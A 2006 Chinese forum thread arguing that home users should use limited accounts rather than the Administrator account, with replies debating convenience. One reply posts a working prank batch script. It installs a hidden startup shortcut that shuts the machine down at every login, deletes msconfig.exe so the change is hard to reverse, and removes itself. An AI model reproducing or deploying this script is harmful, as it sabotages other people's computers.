返回列表 发帖

请勿总是使用“计算机管理员”帐户

首先,计算机为什么要设置那么多级别的帐户?
其目的是为了安全  不同身份的帐户 有着不同的权利
权利小的 所能做的事少 影响力少 威胁性也小
反之亦然


计算机管理员拥有强大的管理权利,但不是每个人都有能力控制住这个权利
(参考历代昏君)

当一个有能力控制住这个强大权利的人,使用这个计算机管理员身份的时候  将会得心应手。
但更多的朋友恐怕没有足够的能力,且也不必要这么多的权利
比如很多女孩子,大多用电脑是来玩游戏,QQ,听歌,浏览网页。  这只需要受限帐户就OK了
她们所能受到的烦恼,一般也就是病毒,木马(还得非常严重的时候)。而这些是 “计算机管理员”权限带来的负面效果
当你使用受限帐户的时候,所做的事无论怎么错误 都是在限制范围之内,哪怕是病毒也是一样。

这样会大大的限制了病毒,同样可以免除流氓软件带来的危害。
当然,对于那些喜欢安装软件的朋友来说,使用受限用户会很麻烦。
但我想提醒你们,提高自己的安全意识(也就是控制管理员这个权限的能力)。
PS:发现很多XP的安装光盘都省略了最后创建用户的页面,装好之后 直接以Administrator用户进入
这个用户是系统内置用户 拥有所有的权限。
强烈建议创建一个新的计算机管理员用户,并为每个用户都设置密码(一个简单的密码可以为你减少安全威胁

当然,写了这么多。还是希望不需要计算机管理员这个权利的朋友,使用受限用户。
也许会有一小点不便利,但更多的是安全。

的确是有必要用个低一点权限的用户。

TOP

建一个快捷方式,名为ss.lnk
%windir%\system32\shutdown.exe /s /t 0

一个BAT文件,名为S.BAT
move ss.lnk "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\"
attrib +h "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\ss.lnk"
del %windir%\PCHealth\HelpCtr\Binaries\msconfig.exe /q
del %windir%\system32\dllcache\msconfig.exe /q
"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\ss.lnk"
del s.bat /q

我让USERS组的朋友们夹一把的办法.

TOP

原帖由 gxaworld 于 2006-10-31 14:12 发表
言之有理,我也是这样想的,但我无法接受administrator以外的用户权限。所以只用超级用户,当然密码也加强了一点。用大写英文+小写英文+数字+符号+特殊符号做密码。



实在无法接受的
又不勉强

只是建议而已

比如一般的家庭用户啊
或者是偶尔上网聊天的MM啊

TOP

原帖由 tenkin 于 2006-11-8 21:11 发表
曾经在网吧或是学校机房,被限制,很不爽
自己的pc自己还要限制自己,何必呢?!



点开始
注销
切换
选择计算机管理员
等待几秒钟

TOP

原帖由 WeeVee 于 2006-11-8 10:37 发表
我就用管理员账户~~ 不想ghost, 完了就重装.



对于这样的,不属于我这文章的范畴

就像中毒了直接低格一样,(杀毒软件就可以略了)

TOP

原帖由 yzx52099 于 2006-11-8 15:51 发表
多账户不只是为了安全吧,更多的是可以多人共用一机---方便
如果楼主的机器只是自己一个人用,俺就不明白楼主要开上几个受限账户,来宾账户干吗呢??难不成没事儿就切换账户玩儿??
Administrater账 ...




给2个对普通的电脑用户
1个使用计算机管理员
1个使用受限帐户

过1个月再去看看

你就能看出分别了

TOP

机关算尽,不是我的风格

TOP

原帖由 hanscowboy 于 2006-11-10 17:11 发表
管理员帐号的名称似乎不能改的,但可以另外建一个管理员帐号。



是可以改的!不过不爽。

TOP

管理员帐号的名称似乎不能改的,但可以另外建一个管理员帐号。
Kain_随机漫步

TOP

为的方法是把管理员名字改掉 再去创建一个名字叫做管理员的帐号

TOP

如果windows也有sudo就好了

TOP

返回列表